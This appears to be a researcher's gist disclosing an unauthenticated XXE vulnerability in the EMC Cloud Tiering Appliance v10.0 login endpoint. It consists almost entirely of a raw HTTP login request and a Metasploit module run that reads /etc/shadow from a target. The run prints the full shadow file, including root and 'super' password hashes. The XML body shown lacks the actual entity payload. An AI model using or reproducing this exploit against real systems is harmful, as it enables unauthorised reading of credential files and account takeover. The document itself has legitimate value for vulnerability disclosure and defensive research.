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@brandonprry
Last active Aug 29, 2015
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EMC CTA unauthed XXE with root perms
EMC Cloud Tiering Appliance v10.0 Unauthed XXE
The following authentication request is susceptible to an XXE attack:
POST /api/login HTTP/1.1
Host: 172.31.16.99
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=12818F1AC5C744CF444B2683ABF6E8AC
Connection: keep-alive
Referer: https://172.31.16.99/UxFramework/UxFlashApplication.swf
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<Request>
<Username>root</Username>
<Password>114,97,105,110</Password>
</Request>
-------------------------------
Quick run:
msf auxiliary(emc_cta_xxe) > show options
Module options (auxiliary/gather/emc_cta_xxe):
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH /etc/shadow yes The filepath to read on the server
Proxies http:127.0.0.1:8080 no Use a proxy chain
RHOST 172.31.16.99 yes The target address
RPORT 443 yes The target port
TARGETURI / yes Base directory path
VHOST no HTTP server virtual host
msf auxiliary(emc_cta_xxe) > run
[+] File saved to: /home/bperry/.msf4/loot/20140331082903_default_172.31.16.99_emc.file_935159.txt
[*] Auxiliary module execution completed
msf auxiliary(emc_cta_xxe) > cat /home/bperry/.msf4/loot/20140331082903_default_172.31.16.99_emc.file_935159.txt
[*] exec: cat /home/bperry/.msf4/loot/20140331082903_default_172.31.16.99_emc.file_935159.txt
root:u4sA.C2vNqNF.:15913::::::
bin:*:15913:0:99999:0:0::
daemon:*:15913:0:99999:0:0::
lp:*:15913:0:99999:0:0::
mail:*:15913:0:99999:0:0::
news:*:15913:0:99999:0:0::
uucp:*:15913:0:99999:0:0::
man:*:15913:0:99999:0:0::
wwwrun:*:15913:0:99999:0:0::
ftp:*:15913:0:99999:0:0::
nobody:*:15913:0:99999:0:0::
messagebus:*:15913:0:99999:0:0::
polkituser:*:15913:0:99999:0:0::
haldaemon:*:15913:0:99999:0:0::
sshd:*:15913:0:99999:0:0::
uuidd:*:15913:0:99999:0:0::
postgres:*:15913:0:99999:0:0::
ntp:*:15913:0:99999:0:0::
suse-ncc:*:15913:0:99999:0:0::
super:u4sA.C2vNqNF.:15913:0:99999:0:0::
msf auxiliary(emc_cta_xxe) >
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